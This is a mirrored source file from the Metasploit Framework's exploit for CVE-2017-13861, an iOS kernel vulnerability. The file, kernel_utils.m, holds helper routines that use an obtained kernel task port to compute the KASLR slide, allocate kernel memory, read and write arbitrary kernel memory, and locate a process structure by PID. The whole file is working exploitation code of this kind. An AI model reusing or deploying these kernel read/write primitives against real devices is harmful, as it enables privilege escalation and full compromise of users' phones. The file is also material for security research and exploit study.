CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/kernel_utils.m
Views: 11777
1
2
#import "kernel_utils.h"
3
#import "patchfinder64.h"
4
5
static mach_port_t tfpzero;
6
static uint64_t kernel_base;
7
static uint64_t KASLR_Slide;
8
9
#import <Foundation/Foundation.h>
10
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
11
12
void init_kernel_utils(mach_port_t tfp0, uint64_t kbase) {
13
tfpzero = tfp0;
14
kernel_base = kbase;
15
KASLR_Slide = (uint32_t)(kernel_base - 0xFFFFFFF007004000); // slid kernel base - kernel base = kaslr slide
16
}
17
18
uint64_t get_kernel_slide() {
19
return KASLR_Slide;
20
}
21
22
uint64_t Kernel_alloc(vm_size_t size) {
23
mach_vm_address_t address = 0;
24
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
25
return address;
26
}
27
28
void Kernel_free(mach_vm_address_t address, vm_size_t size) {
29
mach_vm_deallocate(tfpzero, address, size);
30
}
31
32
int Kernel_strcmp(uint64_t kstr, const char* str) {
33
// XXX be safer, dont just assume you wont cause any
34
// page faults by this
35
size_t len = strlen(str) + 1;
36
char *local = malloc(len + 1);
37
local[len] = '\0';
38
39
int ret = 1;
40
41
if (KernelRead(kstr, local, len) == len) {
42
ret = strcmp(local, str);
43
}
44
45
free(local);
46
47
return ret;
48
}
49
50
size_t KernelRead(uint64_t where, void *p, size_t size) {
51
int rv;
52
size_t offset = 0;
53
while (offset < size) {
54
mach_vm_size_t sz, chunk = 2048;
55
if (chunk > size - offset) {
56
chunk = size - offset;
57
}
58
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
59
if (rv || sz == 0) {
60
printf("[-] error on KernelRead(0x%016llx)\n", where);
61
break;
62
}
63
offset += sz;
64
}
65
return offset;
66
}
67
68
uint32_t KernelRead_32bits(uint64_t where) {
69
uint32_t out;
70
KernelRead(where, &out, sizeof(uint32_t));
71
return out;
72
}
73
74
uint64_t KernelRead_64bits(uint64_t where) {
75
uint64_t out;
76
KernelRead(where, &out, sizeof(uint64_t));
77
return out;
78
}
79
80
size_t KernelWrite(uint64_t where, const void *p, size_t size) {
81
int rv;
82
size_t offset = 0;
83
while (offset < size) {
84
size_t chunk = 2048;
85
if (chunk > size - offset) {
86
chunk = size - offset;
87
}
88
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
89
if (rv) {
90
printf("[-] error on KernelWrite(0x%016llx)\n", where);
91
break;
92
}
93
offset += chunk;
94
}
95
return offset;
96
}
97
98
void KernelWrite_32bits(uint64_t where, uint32_t what) {
99
uint32_t _what = what;
100
KernelWrite(where, &_what, sizeof(uint32_t));
101
}
102
103
104
void KernelWrite_64bits(uint64_t where, uint64_t what) {
105
uint64_t _what = what;
106
KernelWrite(where, &_what, sizeof(uint64_t));
107
}
108
109
const uint64_t kernel_address_space_base = 0xffff000000000000;
110
void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length) {
111
if (dest >= kernel_address_space_base) {
112
// copy to kernel:
113
KernelWrite(dest, (void*) src, length);
114
} else {
115
// copy from kernel
116
KernelRead(src, (void*)dest, length);
117
}
118
}
119
120
uint64_t proc_of_pid(pid_t pid) {
121
uint64_t allproc = Find_allproc();
122
uint64_t proc = KernelRead_64bits(allproc), pd;
123
124
while (proc) { //iterate over all processes till we find the one we're looking for
125
pd = KernelRead_32bits(proc + 0x10);
126
if (pd == pid) return proc;
127
proc = KernelRead_64bits(proc);
128
}
129
130
return 0;
131
}
132
133
uint64_t ZmFixAddr(uint64_t addr) {
134
static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
135
136
if (zm_hdr.start == 0) {
137
// xxx rk64(0) ?!
138
uint64_t zone_map = KernelRead_64bits(Find_zone_map_ref());
139
// hdr is at offset 0x10, mutexes at start
140
size_t r = KernelRead(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
141
//printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));
142
143
if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
144
printf("[-] KernelRead of zone_map failed!\n");
145
return 1;
146
}
147
148
if (zm_hdr.end - zm_hdr.start > 0x100000000) {
149
printf("[-] zone_map is too big, sorry.\n");
150
return 1;
151
}
152
}
153
154
uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
155
156
return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
157
}
158
159
160
161
162